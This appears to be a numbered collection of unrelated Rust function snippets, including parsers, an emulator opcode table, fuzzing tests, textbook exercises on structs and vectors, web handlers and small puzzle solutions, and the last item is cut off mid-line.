pub fn parse_from_file(path: &str, strict: bool) -> Result<Cue, CueError> { let file = File::open(path)?; let mut buf_reader = BufReader::new(file); parse(&mut buf_reader, strict) }
137
pub fn b(b: BuiltIn) -> Value { Rc::new(RefCell::new(V { val: Value_::BuiltIn(b), computed: true, })) }
138
fn append_text_column(tree: &mut gtk::TreeView) { let column = gtk::TreeViewColumn::new().unwrap(); let cell = gtk::CellRendererText::new().unwrap(); column.pack_start(&cell, true); column.add_attribute(&cell, "text", 0); tree.append_column(&column); }
139
pub fn parse_command(opcode: u8, rom: &[u8]) -> Option<Box<dyn Instruction>> { match opcode { /* NOP */ 0x00 => cmd!(noop::NoOp), /* LD BC,nn */ 0x01 => cmd!(load::Load16Bit::BC(u16!(rom))), /* LD DE,nn */ 0x11 => cmd!(load::Load16Bit::DE(u16!(rom))), /* LD HL,nn */ 0x21 => cmd!(load::Load16Bit::HL(u16!(rom))), /* LD SP,nn */ 0x31 => cmd!(load::Load16Bit::SP(u16!(rom))), /* LD (r),A */ 0x02 | 0x12 | 0x77 => cmd!(load::LoadIntoRegisterRamFromRegisterA::new(opcode)), /* RLA */ 0x17 => cmd!(alu::RotateRegisterALeft), /* INC BC */ 0x03 => cmd!(inc::Increment16BitRegister(r16!(BC))), /* INC DE */ 0x13 => cmd!(inc::Increment16BitRegister(r16!(DE))), /* INC HL */ 0x23 => cmd!(inc::Increment16BitRegister(r16!(HL))), /* INC SP */ 0x33 => cmd!(inc::Increment16BitRegister(r16!(SP))), /* INC n */ 0x04 | 0x0C | 0x14 | 0x1C | 0x24 | 0x2C | 0x3C => cmd!(inc::IncrementRegister::new(opcode)), /* DEC A */ 0x3D => cmd!(dec::DecrementRegister(r8!(A))), /* DEC B */ 0x05 => cmd!(dec::DecrementRegister(r8!(B))), /* DEC C */ 0x0D => cmd!(dec::DecrementRegister(r8!(C))), /* DEC D */ 0x15 => cmd!(dec::DecrementRegister(r8!(D))), /* DEC E */ 0x1D => cmd!(dec::DecrementRegister(r8!(E))), /* DEC H */ 0x25 => cmd!(dec::DecrementRegister(r8!(H))), /* DEC L */ 0x2D => cmd!(dec::DecrementRegister(r8!(L))), /* */ 0x06 | 0x0E | 0x16 | 0x1E | 0x26 | 0x2E | 0x3E => cmd!(load::Load8Bit::new(opcode, u8!(rom))), /* LD A,A */ 0x7F => cmd!(load::LoadRegisterIntoRegisterA(r8!(A))), /* LD A,B */ 0x78 => cmd!(load::LoadRegisterIntoRegisterA(r8!(B))), /* LD A,C */ 0x79 => cmd!(load::LoadRegisterIntoRegisterA(r8!(C))), /* LD A,D */ 0x7A => cmd!(load::LoadRegisterIntoRegisterA(r8!(D))), /* LD A,E */ 0x7B => cmd!(load::LoadRegisterIntoRegisterA(r8!(E))), /* LD A,H */ 0x7C => cmd!(load::LoadRegisterIntoRegisterA(r8!(H))), /* LD A,L */ 0x7D => cmd!(load::LoadRegisterIntoRegisterA(r8!(L))), /* LD A,(BC) */ 0x0A => cmd!(load::LoadRegisterRamIntoRegisterA(rp!(BC))), /* LD A,(DE) */ 0x1A => cmd!(load::LoadRegisterRamIntoRegisterA(rp!(DE))), /* LD A,(HL) */ 0x7E => cmd!(load::LoadRegisterRamIntoRegisterA(rp!(HL))), /* JR NZ,n */ 0x20 => cmd!(jump::JumpRelative::nz(i8!(rom))), /* JR Z,n */ 0x28 => cmd!(jump::JumpRelative::z(i8!(rom))), /* JR NC,n */ 0x30 => cmd!(jump::JumpRelative::nc(i8!(rom))), /* JR C,n */ 0x38 => cmd!(jump::JumpRelative::c(i8!(rom))), /* LD (HL+),A */ 0x22 => cmd!(load::LoadIncrementHLA), /* LD (HL-),A */ 0x32 => cmd!(load::LoadDecrementHLA), /* */ 0xAF | 0xA8 | 0xA9 | 0xAA | 0xAB | 0xAC | 0xAD => cmd!(xor::Xor::new(opcode)), /* LD B,A */ 0x47 => cmd!(load::LoadIntoRegisterFromRegisterA(r8!(B))), /* LD C,A */ 0x4F => cmd!(load::LoadIntoRegisterFromRegisterA(r8!(C))), /* CB */ 0xCB => parse_prefix_command(rom), /* CALL nn */ 0xCD => cmd!(call::Call(u16!(rom))), /* RET */ 0xC9 => cmd!(ret::Return), /* LDH (n),A */ 0xE0 => cmd!(load::LoadRegisterAIntoZeroPageRam(rom[0])), /* LD (nn),A */ 0xE2 => cmd!(load::LoadRamFromRegisterA), /* */ 0xEA => cmd!(load::LoadIntoImmediateRamFromRegisterA(u16!(rom))), /* LD A,(n) */ 0xFA => cmd!(load::LoadImmediateRamIntoRegisterA(u16!(rom))), /* PUSH AF */ 0xF5 => cmd!(push::Push(rp!(AF))), /* PUSH BC */ 0xC5 => cmd!(push::Push(rp!(BC))), /* PUSH DE */ 0xD5 => cmd!(push::Push(rp!(DE))), /* PUSH HL */ 0xE5 => cmd!(push::Push(rp!(HL))), /* POP AF */ 0xF1 => cmd!(pop::Pop(rp!(AF))), /* POP BC */ 0xC1 => cmd!(pop::Pop(rp!(BC))), /* POP DE */ 0xD1 => cmd!(pop::Pop(rp!(DE))), /* POP HL */ 0xE1 => cmd!(pop::Pop(rp!(HL))), /* CP # */ 0xFE => cmd!(compare::CompareImmediate(u8!(rom))), _ => { println!("Unknown OpCode {:#X?}", opcode); None } } }
140
fn align_padding(value: usize, alignment: usize) -> usize { debug_assert!(alignment.is_power_of_two()); let result = (alignment - (value & (alignment - 1))) & (alignment - 1); debug_assert!(result < alignment); debug_assert!(result < LARGEST_POWER_OF_TWO); result }
141
fn generate_thanks() -> Result<BTreeMap<VersionTag, AuthorMap>, Box<dyn std::error::Error>> { let path = update_repo("https://github.com/rust-lang/rust.git")?; let repo = git2::Repository::open(&path)?; let mailmap = mailmap_from_repo(&repo)?; let reviewers = Reviewers::new()?; let mut versions = get_versions(&repo)?; let last_full_stable = versions .iter() .rfind(|v| v.raw_tag.ends_with(".0")) .unwrap() .version .clone(); versions.push(VersionTag { name: String::from("Beta"), version: { let mut last = last_full_stable.clone(); last.minor += 1; last }, raw_tag: String::from("beta"), commit: repo .revparse_single("beta") .unwrap() .peel_to_commit() .unwrap() .id(), in_progress: true, }); versions.push(VersionTag { name: String::from("Master"), version: { // master is plus 1 minor versions off of beta, which we just pushed let mut last = last_full_stable.clone(); last.minor += 2; last }, raw_tag: String::from("master"), commit: repo .revparse_single("master") .unwrap() .peel_to_commit() .unwrap() .id(), in_progress: true, }); let mut version_map = BTreeMap::new(); let mut cache = HashMap::new(); for (idx, version) in versions.iter().enumerate() { let previous = if let Some(v) = idx.checked_sub(1).map(|idx| &versions[idx]) { v } else { let author_map = build_author_map(&repo, &reviewers, &mailmap, "", &version.raw_tag)?; version_map.insert(version.clone(), author_map); continue; }; eprintln!("Processing {:?} to {:?}", previous, version); cache.insert( version, up_to_release(&repo, &reviewers, &mailmap, &version)?, ); let previous = match cache.remove(&previous) { Some(v) => v, None => up_to_release(&repo, &reviewers, &mailmap, &previous)?, }; let current = cache.get(&version).unwrap(); // Remove commits reachable from the previous release. let only_current = current.difference(&previous); version_map.insert(version.clone(), only_current); } Ok(version_map) }
142
fn de_timeline(raw: TimelineRaw, even: bool) -> game::Timeline { let mut res = game::Timeline::new( de_l(raw.index, even), raw.width, raw.height, raw.begins_at, raw.emerges_from.map(|x| de_l(x, even)), ); let index = de_l(raw.index, even); let begins_at = raw.begins_at; let width = raw.width; let height = raw.height; res.states = raw .states .into_iter() .enumerate() .map(|(i, b)| de_board(b, begins_at + i as isize, index, width, height)) .collect(); res }
143
fn map_params(tok: IRCToken) -> Result<IRCToken, ~str> { // Sequence(~[Sequence(~[Sequence(~[Ignored, Unparsed(~"##codelab")])]), Sequence(~[Sequence(~[Ignored, Unparsed(~":"), Unparsed(~"hi")])])]) match tok { Sequence(args) => Ok(Params(args.map(|arg| { match arg.clone() { Sequence([Sequence([Ignored, Unparsed(param)])]) => param, Sequence([Sequence([Ignored, Unparsed(~":"), Unparsed(param)])]) => param, _ => ~"" } }))), _ => Err(~"Malformed parameters") } }
144
fn main() { let instruction: Vec<String> = std::env::args().collect(); let instruction: &String = &instruction[1]; println!("{}", santa(instruction)); }
145
fn parse_input_day2(input: &str) -> Result<Vec<PasswordRule>, impl Error> { input.lines().map(|l| l.parse()).collect() }
146
fn listing_a_single_migration_name_should_work(api: TestApi) { let dm = api.datamodel_with_provider( r#" model Cat { id Int @id name String } "#, ); let migrations_directory = api.create_migrations_directory(); api.create_migration("init", &dm, &migrations_directory).send_sync(); api.apply_migrations(&migrations_directory) .send_sync() .assert_applied_migrations(&["init"]); api.list_migration_directories(&migrations_directory) .send() .assert_listed_directories(&["init"]); }
147
fn expect_money_conserved(table: &Table) { let mut history: BTreeMap<u32, Vec<Row>> = BTreeMap::new(); for c in table.scan() { history.entry(c.t).or_insert(Vec::new()).push(Row { k: c.k, v: c.v }); } let mut tracker: HashMap<i32, i32> = HashMap::new(); for (_, rs) in history { for r in rs { tracker.insert(r.k, r.v); } let mut sum = 0; for (_, v) in tracker.clone() { sum += v; } assert! (sum == 0); } }
148
fn project_with_fuzz_dir( project_name: &str, fuzz_dir_opt: Option<&str>, ) -> (String, ProjectBuilder) { let fuzz_dir = fuzz_dir_opt.unwrap_or("custom_dir"); let next_root = next_root(); let fuzz_dir_pb = next_root.join(fuzz_dir); let fuzz_dir_sting = fuzz_dir_pb.display().to_string(); let pb = project_with_params(project_name, next_root, fuzz_dir_pb); (fuzz_dir_sting, pb) }
149
fn print_nodes(prefix: &str, nodes: &[IRNode]) { for node in nodes.iter() { print_node(prefix, node); } }
150
pub(crate) fn is_reserved(s: &str) -> bool { matches!( s, "if" | "then" | "else" | "let" | "in" | "fn" | "int" | "float" | "bool" | "true" | "false" | "cstring" ) }
151
fn parseModelInfo(reader: &mut BufReader<&File>, buf: &mut String, models: &mut Vec<Model>, basePath: &str) -> Model { //Firstly, read the meshId and materialId; reader.read_line(buf); let mut split_info = buf.split(" "); if len(split_info) != 2 {} let meshId: i32 = split_info.next().unwrap().parse().unwrap(); let materidId = split_info.next().unwrap().parse().unwrap(); let meshFilePath = basePath + "/meshes/" + meshId + "_mesh.obj"; let materialPath = basePath + "/materials/" + materidId + "/" + materidId; //Then, read the position info; split_info = buf.split(" "); let mut modelInfo: Vec<Vec3f> = Vec::new(); let mut infoIndex = 0; while infoIndex < 3 { reader.read_line(buf); let mut split_info = buf.split(" "); modelInfo.push(Vec3f { x: split_info.next().unwrap().parse().unwrap(), y: split_info.next().unwrap().parse().unwrap(), z: split_info.next().unwrap().parse().unwrap(), }); infoIndex += 1; } loadImageFromMaterial(model, materidId); models.push(Model { meshId, materidId: 0, position: Vec3f { x: modelInfo.get(0).unwrap().x, y: modelInfo.get(0).unwrap().y, z: modelInfo.get(0).unwrap().z, }, rotation: Vec3f { x: modelInfo.get(1).unwrap().x, y: modelInfo.get(1).unwrap().y, z: modelInfo.get(1).unwrap().z, }, scaling: Vec3f { x: modelInfo.get(2).unwrap().x, y: modelInfo.get(2).unwrap().y, z: modelInfo.get(2).unwrap().z, }, } ); //Finally, we only need to read an empty line to finish the model parsing process reader.read_line(buf); }
152
fn struct_test() { // 9.1 /// A rectangle of eight-bit grayscale pixels struct GrayscaleMap { pixels: Vec<u8>, size: (usize, usize), } let width = 1024; let height = 576; // let image = GrayscaleMap { // pixels: vec![0; width * height], // size: (width, height), // }; fn new_map(size: (usize, usize), pixels: Vec<u8>) -> GrayscaleMap { assert_eq!(pixels.len(), size.0 * size.1); GrayscaleMap { pixels, size } } let image = new_map((width, height), vec![0; width * height]); assert_eq!(image.size, (1024, 576)); assert_eq!(image.pixels.len(), 1024 * 576); // pub struct GrayscaleMap { // pub pixels: Vec<u8>, // pub size: (usize, usize) // } // pub struct GrayscaleMap { // pixels: Vec<u8>, // size: (usize, usize) // } // struct Broom { name: String, height: u32, health: u32, position: (f32, f32, f32), intent: BroomIntent, } /// Two possitble alternatives for what a ~Broom` could be working on. #[derive(Copy, Clone)] enum BroomIntent { FetchWater, DumpWater, } // Receive the input Broom by value, taking ownership. fn chop(b: Broom) -> (Broom, Broom) { // Initialize `broom1` mostly from `b`, changing only `height`, Since // `String` is not `Copy`, `broom1` takes ownership of `b`'s name. let mut broom1 = Broom { height: b.height / 2, ..b }; // Initialize `broom2` mostly from `broom1`. Since `String` is not // `Copy`, we must clone `name` explicitly. let mut broom2 = Broom { name: broom1.name.clone(), ..broom1 }; broom1.name.push_str(" I"); broom2.name.push_str(" II"); (broom1, broom2) } let hokey = Broom { name: "Hokey".to_string(), height: 60, health: 100, position: (100.0, 200.0, 0.0), intent: BroomIntent::FetchWater, }; let (hokey1, hokey2) = chop(hokey); assert_eq!(hokey1.name, "Hokey I"); assert_eq!(hokey1.health, 100); assert_eq!(hokey2.name, "Hokey II"); assert_eq!(hokey2.health, 100); // 9.2 struct Bounds(usize, usize); let image_bounds = Bounds(1024, 768); assert_eq!(image_bounds.0 * image_bounds.1, 786432); // pub struct Bounds(pub usize, pub usize); // 9.3 // struct Onesuch; // let o = Onesuch; // 9.4 // 9.5 /// A first-in, first-out queue of characters. pub struct Queue { older: Vec<char>, // older elements, eldest last. younger: Vec<char>, // younger elements, youngest last. } impl Queue { /// Push a character onto the back of a queue. pub fn push(&mut self, c: char) { self.younger.push(c); } /// Pop a character off the front of a queue. Return `Some(c)` if there /// was a character to pop, or `None` if the queue was empty. pub fn pop(&mut self) -> Option<char> { if self.older.is_empty() { if self.younger.is_empty() { return None; } // Bring the elements in younger over to older, and put them in // the promised order. use std::mem::swap; swap(&mut self.older, &mut self.younger); self.older.reverse(); } // Now older is guaranteed to have something,. Vec's pop method // already returns an Option, so we're set. self.older.pop() } pub fn is_empty(&self) -> bool { self.older.is_empty() && self.younger.is_empty() } pub fn split(self) -> (Vec<char>, Vec<char>) { (self.older, self.younger) } pub fn new() -> Queue { Queue { older: Vec::new(), younger: Vec::new(), } } } let mut q = Queue::new(); // let mut q = Queue { // older: Vec::new(), // younger: Vec::new(), // }; q.push('0'); q.push('1'); assert_eq!(q.pop(), Some('0')); q.push('โˆž'); assert_eq!(q.pop(), Some('1')); assert_eq!(q.pop(), Some('โˆž')); assert_eq!(q.pop(), None); assert!(q.is_empty()); q.push('โฆฟ'); assert!(!q.is_empty()); q.pop(); q.push('P'); q.push('D'); assert_eq!(q.pop(), Some('P')); q.push('X'); let (older, younger) = q.split(); // q is now uninitialized. assert_eq!(older, vec!['D']); assert_eq!(younger, vec!['X']); // 9.6 pub struct QueueT<T> { older: Vec<T>, younger: Vec<T>, } impl<T> QueueT<T> { pub fn new() -> Self { QueueT { older: Vec::new(), younger: Vec::new(), } } pub fn push(&mut self, t: T) { self.younger.push(t); } pub fn is_empty(&self) -> bool { self.older.is_empty() && self.younger.is_empty() } } // let mut qt = QueueT::<char>::new(); let mut qt = QueueT::new(); let mut rt = QueueT::new(); qt.push("CAD"); // apparently a Queue<&'static str> rt.push(0.74); // apparently a Queue<f64> qt.push("BTC"); // Bitcoins per USD, 2017-5 rt.push(2737.7); // Rust fails to detect ittational exuberance // 9.7 struct Extrema<'elt> { greatest: &'elt i32, least: &'elt i32, } fn find_extrema<'s>(slice: &'s [i32]) -> Extrema<'s> { let mut greatest = &slice[0]; let mut least = &slice[0]; for i in 1..slice.len() { if slice[i] < *least { least = &slice[i]; } if slice[i] > *greatest { greatest = &slice[i]; } } Extrema { greatest, least } } let a = [0, -3, 0, 15, 48]; let e = find_extrema(&a); assert_eq!(*e.least, -3); assert_eq!(*e.greatest, 48); // 9.8 // #[derive(Copy, Clone, Debug, PartialEq)] // struct Point { // x: f64, // y: f64, // } // 9.9 // pub struct SpiderRobot { // species: String, // web_enabled: bool, // log_device: [fd::FileDesc; 8], // ... // } // use std::rc::Rc; // pub struct SpiderSenses { // robot: Rc<SpiderRobot>, /// <-- pointer to settings and I/O // eyes: [Camera; 32], // motion: Accelerometer, // ... // } use std::cell::Cell; use std::cell::RefCell; use std::fs::File; pub struct SpiderRobot { hardware_error_count: Cell<u32>, log_file: RefCell<File>, } impl SpiderRobot { /// Increase the error count by 1. pub fn add_hardware_error(&self) { let n = self.hardware_error_count.get(); self.hardware_error_count.set(n + 1); } /// True if any hardware errors have been reported. pub fn has_hardware_errors(&self) -> bool { self.hardware_error_count.get() > 0 } /// Write a line to the log file. pub fn log(&self, message: &str) { let mut file = self.log_file.borrow_mut(); // writeln!(file, "{}", message).unwrap(); } } let ref_cell: RefCell<String> = RefCell::new("hello".to_string()); let r = ref_cell.borrow(); // ok, return a Ref<String> let count = r.len(); // ok, returns "hello".len() assert_eq!(count, 5); // let mut w = ref_cell.borrow_mut(); // panic: already borrowed // w.push_str(" world"); }
153
pub fn solve_n_queens(n: i32) -> Vec<Vec<String>> { Board::new(n as usize).solve() }
154
async fn fallback_route(_req: HttpRequest) -> impl Responder { HttpResponse::NotFound().json("Route not found") }
155
fn main() { let event_loop = EventLoop::new(); let window = Window::new(&event_loop).unwrap(); let time = Instant::now() + Duration::from_millis(400); let mut state = State::new(&window); let id = window.id(); event_loop.run(move |event, _, control_flow| { match event { Event::WindowEvent { ref event, window_id, } if window_id == id => if state.input(event) { *control_flow = ControlFlow::WaitUntil(time); } else { match event { WindowEvent::CloseRequested => *control_flow = ControlFlow::Exit, WindowEvent::KeyboardInput { input: i, .. } => match i { KeyboardInput { state: ElementState::Pressed, virtual_keycode: Some(VirtualKeyCode::Escape), .. } => *control_flow = ControlFlow::Exit, _ => *control_flow = ControlFlow::WaitUntil(time), }, _ => *control_flow = ControlFlow::WaitUntil(time), } } Event::MainEventsCleared => { state.check_collision(); state.update_instances(); state.update(); state.render(); *control_flow = ControlFlow::WaitUntil(time); if state.collided { state.render_finish(); sleep(Duration::from_millis(5000)); *control_flow = ControlFlow::Exit; } }, _ => *control_flow = ControlFlow::WaitUntil(time), } }); }
156
pub fn channel_put_raw(target: CAddr, value: u64) { system_call(SystemCall::ChannelPut { request: (target, ChannelMessage::Raw(value)) }); }
157
pub fn channel_take_cap(target: CAddr) -> CAddr { let result = channel_take_nonpayload(target); match result { ChannelMessage::Cap(v) => return v.unwrap(), _ => panic!(), }; }
158
fn cargo_fuzz() -> Command { Command::cargo_bin("cargo-fuzz").unwrap() }
159
pub fn main() { let game = Game::new(); game_loop(game, 240, 0.1, |g| { g.game.your_update_function(); }, |g| { g.game.your_render_function(); }); }
160
fn main() { if let Err(err) = Config::new().and_then(|conf| ui::user_menu(conf)) { eprintln!("{}", err); process::exit(1); } }
161
async fn main() -> std::io::Result<()> { // ----------------------------------------------------------------------------- tracing & logging // configure tracing subscriber configure_tracing(); // log http events from actix LogTracer::init().expect("failed to enable http request logging"); // ----------------------------------------------------------------------------- config & pg let config = get_config().expect("failed to read settings"); let addr = format!("{}:{}", config.app.host, config.app.port); // configure sqlx connection let mut conn_options = config.database.conn_opts(); // the line below makes sqlx logs appear as debug, not as info let conn_options_w_logging = conn_options.log_statements(Debug); //must be a separate var // get a connection pool let pg_pool = PgPoolOptions::new() .connect_timeout(std::time::Duration::from_secs(60)) //on purpose setting longer to avoid sqlx PoolTimedOut .connect_with(conn_options_w_logging.to_owned()) .await .expect("failed to connect to Postgres"); // ----------------------------------------------------------------------------- run let arc_pool = Arc::new(pg_pool); let arc_config = Arc::new(config); schedule_tweet_refresh(arc_pool.clone(), arc_config.clone()).await; run_server(&addr, arc_pool.clone(), arc_config.clone())?.await }
162
pub fn acrn_remove_file(path: &str) -> Result<(), String> { fs::remove_file(path).map_err(|e| e.to_string()) }
163
pub fn debug_cpool_list() { system_call(SystemCall::DebugCPoolList); }
164
fn main() { if let Err(err) = run() { eprintln!("Error: {}", err); let mut cur = &*err; while let Some(cause) = cur.source() { eprintln!("\tcaused by: {}", cause); cur = cause; } std::mem::drop(cur); std::process::exit(1); } }
165
fn debug_fmt() { let corpus = Path::new("fuzz").join("corpus").join("debugfmt"); let project = project("debugfmt") .with_fuzz() .fuzz_target( "debugfmt", r#" #![no_main] use libfuzzer_sys::fuzz_target; use libfuzzer_sys::arbitrary::{Arbitrary, Unstructured, Result}; #[derive(Debug)] pub struct Rgb { r: u8, g: u8, b: u8, } impl<'a> Arbitrary<'a> for Rgb { fn arbitrary(raw: &mut Unstructured<'a>) -> Result<Self> { let mut buf = [0; 3]; raw.fill_buffer(&mut buf)?; let r = buf[0]; let g = buf[1]; let b = buf[2]; Ok(Rgb { r, g, b }) } } fuzz_target!(|data: Rgb| { let _ = data; }); "#, ) .file(corpus.join("0"), "111") .build(); project .cargo_fuzz() .arg("fmt") .arg("debugfmt") .arg("fuzz/corpus/debugfmt/0") .assert() .stderr(predicates::str::contains( " Rgb { r: 49, g: 49, b: 49, }", )) .success(); }
166
fn assert_memory_load_bytes<R: Rng, M: Memory>( rng: &mut R, memory: &mut M, buffer_size: usize, addr: u64, ) { let mut buffer_store = Vec::<u8>::new(); buffer_store.resize(buffer_size, 0); rng.fill(buffer_store.as_mut_slice()); memory .store_bytes(addr, &buffer_store.as_slice()) .expect("store bytes failed"); let buffer_load = memory .load_bytes(addr, buffer_store.len() as u64) .expect("load bytes failed") .to_vec(); assert!(buffer_load.cmp(&buffer_store).is_eq()); // length out of bound let outofbound_size = if buffer_store.is_empty() { memory.memory_size() + 1 } else { buffer_store.len() + memory.memory_size() }; let ret = memory.load_bytes(addr, outofbound_size as u64); assert!(ret.is_err()); assert_eq!(ret.err().unwrap(), Error::MemOutOfBound); // address out of bound let ret = memory.load_bytes( addr + memory.memory_size() as u64 + 1, buffer_store.len() as u64, ); if buffer_store.is_empty() { assert!(ret.is_ok()) } else { assert!(ret.is_err()); assert_eq!(ret.err().unwrap(), Error::MemOutOfBound); } // addr + size is overflow let ret = memory.load_bytes(addr + (0xFFFFFFFFFFFFFF - addr), buffer_store.len() as u64); if buffer_store.is_empty() { assert!(ret.is_ok()); } else { assert!(ret.is_err()); assert_eq!(ret.err().unwrap(), Error::MemOutOfBound); } }
167
fn default_or(key: &str, default_value: f64, ctx: &mut Context) -> Decimal { let property = ctx.widget().clone_or_default(key); match Decimal::from_f64(property) { Some(val) => val, None => Decimal::from_f64(default_value).unwrap(), } }
168
pub fn test_op_rvc_srai_crash_32() { let buffer = fs::read("tests/programs/op_rvc_srai_crash_32") .unwrap() .into(); let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["op_rvc_srai_crash_32".into()]); assert!(result.is_ok()); }
169
fn a_table_should_read_and_write_batches() { let mut table = HashMapOfTreeMap::new(); table.write(0, &[Row { k: 0, v: 1 }, Row { k: 1, v: 2 }]); let mut vs = [Value::default(); 2]; table.read (1, &[0, 1], &mut vs); assert_eq!(vs, [Value { v: 1, t: 1 }, Value { v: 2, t: 1 }]); }
170
async fn main() -> Result<!, String> { // Begin by parsing the arguments. We are either a server or a client, and // we need an address and potentially a sleep duration. let args: Vec<_> = env::args().collect(); match &*args { [_, mode, url] if mode == "server" => server(url).await?, [_, mode, url] if mode == "client" => client(url, tokio::io::stdin()).await?, [_, mode, url, input_file] if mode == "client" => { match tokio::fs::File::open(input_file).await { Ok(file) => client(url, file).await?, Err(err) => { eprintln!("Failed to open input_file: \"{}\", error: {}", input_file, err); process::exit(2); } } } _ => { eprintln!("Usage:\n{0} server <url>\n or\n{0} client <url> [input_file]", args[0]); process::exit(1); } } }
171
fn update_repo(url: &str) -> Result<PathBuf, Box<dyn std::error::Error>> { let mut slug = url; let prefix = "https://github.com/"; if slug.starts_with(prefix) { slug = &slug[prefix.len()..]; } let prefix = "git://github.com/"; if slug.starts_with(prefix) { slug = &slug[prefix.len()..]; } let prefix = "https://git.chromium.org/"; if slug.starts_with(prefix) { slug = &slug[prefix.len()..]; } let suffix = ".git"; if slug.ends_with(suffix) { slug = &slug[..slug.len() - suffix.len()]; } let path_s = format!("repos/{}", slug); let path = PathBuf::from(&path_s); if !UPDATED.lock().unwrap().insert(slug.to_string()) { return Ok(path); } if path.exists() { if should_update() { // we know for sure the path_s does *not* contain .git as we strip it, so this is a safe // temp directory let tmp = format!("{}.git", path_s); std::fs::rename(&path, &tmp)?; git(&[ "clone", "--bare", "--dissociate", "--reference", &tmp, &url, &path_s, ])?; std::fs::remove_dir_all(&tmp)?; } } else { git(&["clone", "--bare", &url, &path_s])?; } Ok(path) }
172
fn tuple_test() { let text = "I see the eigenvalue in thine eye"; let (head, tail) = text.split_at(21); assert_eq!(head, "I see the eigenvalue "); assert_eq!(tail, "in thine eye"); }
173
async fn handler() -> Html<&'static str> { Html("<h1>Hello, World!</h1>") }
174
pub fn readline_and_print() -> io::Result<()> { let f = File::open("/Users/liwei/coding/rust/git/rust/basic/fs/Cargo.toml")?; let f = BufReader::new(f); for line in f.lines() { if let Ok(line) = line { println!("{:?}", line); } } Ok(()) }
175
pub fn quick_sort_rayon<T: Send + PartialOrd + Debug>(v: &mut[T]) { if v.len() <= 1 { return; } let p = pivot(v); println!("{:?}", v); let (a, b) = v.split_at_mut(p); // put f2 on queue then start f1; // if another thread is ready it will steal f2 // this works recursively recursively down the stack rayon::join(||quick_sort_rayon(a), || quick_sort_rayon(&mut b[1..])); }
176
fn init_twice() { let project = project("init_twice").build(); // First init should succeed and make all the things. project.cargo_fuzz().arg("init").assert().success(); assert!(project.fuzz_dir().is_dir()); assert!(project.fuzz_cargo_toml().is_file()); assert!(project.fuzz_targets_dir().is_dir()); assert!(project.fuzz_target_path("fuzz_target_1").is_file()); // Second init should fail. project .cargo_fuzz() .arg("init") .assert() .stderr(predicates::str::contains("File exists (os error 17)").and( predicates::str::contains(format!( "failed to create directory {}", project.fuzz_dir().display() )), )) .failure(); }
177
pub fn file_append() -> io::Result<()> { let filename = "foo.txt"; let file = OpenOptions::new() .read(true) .write(true) .create(true) // .create_new(true) .append(true) // .truncate(true) .open(filename); match file { Ok(mut stream) => { stream.write_all(b"hello, world!\n")?; } Err(err) => { println!("{:?}", err); } } Ok(()) }
178
fn archive(version: &Version) -> String { format!("ruby-{}.tar.xz", version) }
179
fn most_least_common(btm: BTreeMap<char, i32>) -> (char, char) { let mut count_vec: Vec<_> = btm.into_iter().collect(); // Reverse sort the vector of pairs by "value" (sorted by "key" in case of tie) count_vec.sort_by(|a, b| b.1.cmp(&a.1)); let m = count_vec.first().map(|&(k, _)| k).unwrap(); let l = count_vec.last().map(|&(k, _)| k).unwrap(); (m, l) }
180
async fn init() -> Nash { dotenv().ok(); let parameters = NashParameters { credentials: Some(NashCredentials { secret: env::var("NASH_API_SECRET").unwrap(), session: env::var("NASH_API_KEY").unwrap(), }), environment: Environment::Sandbox, client_id: 1, timeout: 1000, }; OpenLimits::instantiate(parameters).await }
181
pub fn channel_put_cap(target: CAddr, value: CAddr) { system_call(SystemCall::ChannelPut { request: (target, ChannelMessage::Cap(Some(value))) }); }
182
pub fn acrn_write(file_path: &str, contents: &str) -> Result<(), String> { let mut file = File::create(file_path).map_err(|e| e.to_string())?; file.write_all(contents.as_bytes()) .map_err(|e| e.to_string())?; Ok(()) }
183
fn get_platform_dependent_data_dirs() -> Vec<PathBuf> { let xdg_data_dirs_variable = var("XDG_DATA_DIRS") .unwrap_or(String::from("/usr/local/share:/usr/local")); let xdg_dirs_iter = xdg_data_dirs_variable.split(':').map(|s| Some(PathBuf::from(s))); let dirs = if cfg!(target_os = "macos") { vec![ var_os("XDG_DATA_HOME").map(|dir| PathBuf::from(dir)), home_dir().map(|dir| dir.join("Library").join("Application Support")) ].into_iter() .chain(xdg_dirs_iter) .chain(vec![Some(PathBuf::from("/").join("Library").join("Application Support"))]) .collect() } else if cfg!(target_os = "linux") { vec![ var_os("XDG_DATA_HOME").map(|dir| PathBuf::from(dir)), home_dir().map(|dir| dir.join(".local").join("share")) ].into_iter() .chain(xdg_dirs_iter) .collect() } else if cfg!(target_os = "windows") { vec![var_os("APPDATA").map(|dir| PathBuf::from(dir))] } else { Vec::new() }; dirs.into_iter().filter_map(|dir| dir).collect() }
184
pub fn day09_2(s: String) -> u32{ let mut running_total = 0; let mut in_garbage = false; let mut prev_cancel = false; for c in s.chars(){ if in_garbage { if c == '>' && !prev_cancel { in_garbage = false; prev_cancel = false; } else if c == '!' && !prev_cancel { prev_cancel = true; } else if !prev_cancel{ running_total+=1; } else { prev_cancel = false; } } else{ if c == '<' { in_garbage = true; prev_cancel = false; } } } running_total }
185
fn vector_test() { { fn build_vector() -> Vec<i16> { let mut v: Vec<i16> = Vec::<i16>::new(); v.push(10i16); v.push(20i16); v } fn build_vector_2() -> Vec<i16> { let mut v = Vec::new(); v.push(10); v.push(20); v } let v1 = build_vector(); let v2 = build_vector_2(); assert_eq!(v1, v2); } let mut v1 = vec![2, 3, 5, 7]; assert_eq!(v1.iter().fold(1, |a, b| a * b), 210); v1.push(11); v1.push(13); assert_eq!(v1.iter().fold(1, |a, b| a * b), 30030); let mut v2 = Vec::new(); v2.push("step"); v2.push("on"); v2.push("no"); v2.push("pets"); assert_eq!(v2, vec!["step", "on", "no", "pets"]); let v3: Vec<i32> = (0..5).collect(); assert_eq!(v3, [0, 1, 2, 3, 4]); let mut v4 = vec!["a man", "a plan", "a canal", "panama"]; v4.reverse(); assert_eq!(v4, vec!["panama", "a canal", "a plan", "a man"]); let mut v5 = Vec::with_capacity(2); assert_eq!(v5.len(), 0); assert_eq!(v5.capacity(), 2); v5.push(1); v5.push(2); assert_eq!(v5.len(), 2); assert_eq!(v5.capacity(), 2); v5.push(3); assert_eq!(v5.len(), 3); assert_eq!(v5.capacity(), 4); let mut v6 = vec![10, 20, 30, 40, 50]; v6.insert(3, 35); assert_eq!(v6, [10, 20, 30, 35, 40, 50]); v6.remove(1); assert_eq!(v6, [10, 30, 35, 40, 50]); let mut v7 = vec!["carmen", "miranda"]; assert_eq!(v7.pop(), Some("miranda")); assert_eq!(v7.pop(), Some("carmen")); assert_eq!(v7.pop(), None); // let languages: Vec<String> = 